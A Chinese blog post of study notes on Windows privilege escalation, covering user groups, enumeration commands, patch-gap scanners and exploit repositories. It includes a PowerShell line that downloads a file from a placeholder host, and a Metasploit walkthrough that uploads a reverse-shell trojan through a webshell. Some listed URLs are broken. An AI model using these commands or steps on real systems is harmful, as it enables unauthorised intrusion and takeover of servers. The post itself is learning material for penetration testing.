首页 > 其他分享 >权限提升-win溢出漏洞AT&SC&ps提权

权限提升-win溢出漏洞AT&SC&ps提权

时间:2023-09-07 17:55:46浏览次数:40  
标签:ps win 用户组 用户 提权 https net 权限

#明确权限提升基础知识:权限划分

#明确权限提升环境问题:WEB及本地

#明确权限提升方法针对:针对方法适应问题

#明确权限提升针对版本:个人及服务器版本;针对方法;

#知识点必备:用户及用户组权限的划分;Windows提权命令

windows权限认识(用户及用户组)

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这些用户账户也将具备该组所拥有的权限。

0x01 普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)。其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users) 经过ms验证程序登录的用户均属于此组。

0x02特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者) 等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。
被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
无论是普通权限还是特殊权限,它们都可以“叠加”使用,“叠加”就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组再加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。

参考:https://blog.csdn.net/qq_17204441/article/details/89063095

命令                          //描述
systeminfo          //打印系统信息
whoami              //获得当前用户名
whoami /priv          //当前账户权限
ipconfig               //网络配置信息
ipconfig /displaydns        //显示DNS缓存
route print                 //打印出路由表
arp -a                      //打印arp表
hostname                    //主机名
net user                    //列出用户
net user UserName           //关于用户的信息
net user \SMBPATH Pa$$w0rd /u:UserName      //连接SMB
net localgroup              //列出所有组
net localgroup GROUP        //关于指定组的信息
net view \127.0.0.1         //会话打开到当前计算机
net session                 //开发给其他机器
netsh firewall show config  //显示防火墙配置
DRIVERQUERY               //列出安装的驱动
tasklist /svc               //列出服务任务
net start                   //列出启动的服务
dir /s foo                  //在目录中搜索包含指定字符的项
dir /s foo == bar           //同上
sc query                    //列出所有服务
sc qc ServiceName           //找到指定服务的路径
shutdown /r /t 0            //立即重启
type file.txt               //打印出内容
icacls "C:\Example"         //列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn  //列出已安装的补丁
(New-Object System.Net.WebClient) .DownloadFile("http://host/file"."C:\LocalPath") //利用ps远程下载文件到本地
accesschk.exe -qwsu "Group"         //修改对象(尝试Everyone,Authenticated Users和/或Users)

案例演示

阿里云靶机(Windows2012)

知识点:

  • 如何判断使用哪种溢出漏洞?漏洞哪里找?
  • 信息收集-补丁筛选-利用MSF或特定EXP-执行-西瓜到手
  • Vulmap,Wes,WindowsVulnScan对比,exp在哪里获取?
  • MSF结合云服务器搭建组合拳?模拟上述操作实战演练?

1、信息收集

可以采用一些cmd命令,收集系统信息。比如

  • whoami:获得当前用户名
  • whoami /priv:当前账户权限
  • systeminfo:查看系统打了哪些补丁
  • net user:列出用户
  • net user UserName:查看关于用户的信息
  • net localgroup:列出所有组
  • 等等

2、补丁筛选

Vulmap,Wes,WindowsVulnScan三种方法对比:

vulmap: 缺点需要在powershell环境中执行,而对于webshell中是没有权限的,更适配Linux系统。我在物理机和虚拟机中都要运行都出现了各种各样的问题。

wesng, 优点能适应web环境只需要在webshell中执行cmd命令将信息导出到本地环境中执行即可

WindowsVulnScan:https://github.com/chroblert/WindowsVulnScan

缺点:需要借助powershll也可以用systeminfo获取的信息安装工具的格式改成为json

利用MSF或特定EXP提权

利用上述3种方法之一找出可利用的漏洞之后,我们可以利用msf或者特定exp进行测试。

首选msf工具,但是msf工具是隔一段时间更新一版,因此msf中的漏洞可能更新不及时,如果遇到了msf没有收录的漏洞,我们可以网上搜索特定的exp测试,比如GitHub上有人整理了很多exp,可以搜索一下。

  • https://github.com/SecWiki/windows-kernel-exploits
  • https://github.com/unamer/CVE-2018-8120

msf提权演示案例:

先获取web权限,蚁剑连接后门

<1>---生成反弹shell的木马

<2>通过webshell上传这个test.exe文件到服务器(test.exe可能会被服务器上的waf识别,所以实战中需要免杀)

<3>启动msf

<4>---进入监听模块:use exploit/multi/handler 

---设置payload反弹:set payload windows/meterpreter/reverse_tcp

<5>通过webshell执行这个test.exe文件

<6>监听到会话

<7>查看,拿到服务器的web权限

<8>接下来,我们需要进行web提权,搜索一个2016年的exp

<9>使用这个exp

<10>show options

<11>修改设置

---run(发现没有成功,应该是我的os没有这个漏洞)

常见cmd指令

涉及资源

https://github.com/ulmon/Vulmap
https://github.com/bitsadmin/wesng
https://github.com/unamer/CVE-2018-8120
https://github.com/chroblert/MindowsVulnScan
https://ithub.com/SecWiki/windows-kernel-exploits
https//www.cnblogs.com/M0rta1s/p/11920903.html
hTps/docs.microsoft.comzh-cn/sysinternals/downloads/pstools
https:/githubcom/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-
VERSION/releases/tag1

总结

---渗透流程:信息收集—补丁筛选—利用MSF或者特定EXP—执行—西瓜到手

---提权方法有部分适用在不同环境(本地提权比web提权成功几率大),当然也有通用方法(看是否在powershell还是cmd)

---提权方法也有操作系统版本区别,特性决定方法利用面
---提权方法有部分需要特定环境,如数据库,第三方提权等

标签:ps,win,用户组,用户,提权,https,net,权限
From: https://www.cnblogs.com/Zx770/p/17685685.html

相关文章

  • Windows下python,psycopg2连接HGDB
    瀚高数据库目录环境文档用途详细信息环境系统平台:N/A版本:4.5文档用途 本文介绍在HGDB使用sm3认证时,python使用psycopg2连接HGDB的方法。详细信息 Python连接HGDB可以使用psycopg2、Django,Django是依赖psycopg2的,底层用的都是libpq,pip安装的psycopg2自带libpq。因此在一般情况下......
  • 通过StarWindV2VConverter将VMWare的CentOS7虚拟机转换成Hyper-V产生所warning: /dev/
    1.在VMWare中将CentOS7虚拟机导出ovf,在StarWindV2VConverter中将其转换为VHDX2.在Hyper-V中新建虚拟机2.1在选择代数时要注意一定要选择“第一代”2.2在选择选择虚拟硬盘时,选择已转换好的VHDX文件3.启动Hyper-V中新建的虚拟机3.1出现了如下的问题-------------3.2处理方法在......
  • 米联客MPSOC MLK-F20-CM02-2CG-3EG-4EV开发板硬件手册
    1整体概述MLK-F20-CM02-2CG-3EG-4EV(MLK-8X)系列开发平台是米联客ZynqUltraScale+系列开发平台的全新高端产品。其核心模块集成电源管理:0.85V核心电源,最大输出12A。用户基于核心模块设计功能底板(提供功能底板设计方案)。降低项目功能底板设计难度和生产成本,加速项目开发。其应用......
  • 使用GO 程序指定IP地址访问 http/https 地址 类似curl --resolve XXXIP:PortYYY
    需求,使用GO程序指定IP地址访问http/https地址传入参数:ipAddr//ipv4地址string值serviceUrl//url地址string值hostContainPort//HostHeader是否带url的端口bool值返回值:responseCode//http状态码int类型,Host//request请求HostHeaderstring类型 ......
  • Windows Server 2016 更改远程桌面端口
     WindowsServer2016更改远程桌面端口操作步骤:步骤一:在服务器运行窗口中输入“regedit”打开注册表编辑器。 步骤二:在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp目录下,修改PortNumber数值,将其修改为你想要的修改的......
  • Padavan配置https后台访问
    设置https访问时需要SSL证书,证书有两种方法获取:padavan可以生成一个证书,只不过是未经浏览器认证的证书从域名服务商申请第三方机构的证书,比如阿里云、腾讯云等一、Padavan生成的证书1、web进入Padavan管理后台,选择左侧高级设置--->系统设置,web服务器协议选择“HTTP&HTTPS”......
  • 安卓版本7.0以上无法抓包https
    无法抓包原因:安卓版本7.0以上,不信任用户证书,只信任系统证书用户证书:访问网址下载的证书系统证书:获取root权限导入系统指定的安全目录解决方法:在charles的help菜单栏ssl-proxying里保存charles的pem证书在本地opensslx509-subject\_hash\_old-in/path/charle......
  • 拥抱低代码开发-TopStack 云组态产品
     传统的桌面式组态软件(SCADA软件),当年采用的开发技术现在看来已远远跟不上时代的发展,所以UI设计普遍老套,软件也很难维护和升级。而伴随着物联网的兴起,越来越多的设备开始接入云端,对设备/产线进行监控管理的需求也越来越高,尤其是基于网页的组态画面监控形式。图扑物联研发的TopSt......
  • Windows服务器与本地电脑无法远程复制粘贴怎么办?
    https://www.sohu.com/a/691348953_121700737方法一、通过rdpclip.exe进程解决1、我们登录服务器后,打开任务管理器,快捷键:【ctrl+shift+ESC】2、在任务管理器中查找是否有进程【rdpclip.exe】,有的系统不一样,名字也是不同的,也有系统叫【RDP剪贴板监视程序】3、如果找到有进程,......
  • 配置eclipse下的tomcat自动部署
     在eclipse下启动tomcat,可他并不会自动部署到tomcat下的webapps下,老大说这是因为eclipse启动了一个虚拟的tomcat。问题:(1)可有时候发现在虚拟的tomcat下,网页修改了,但运行显示的还是未修改的。(2)在自学axis开发webservice 时,总要到“开始”-“程序”-apachetomcat手动开启tomcat,然......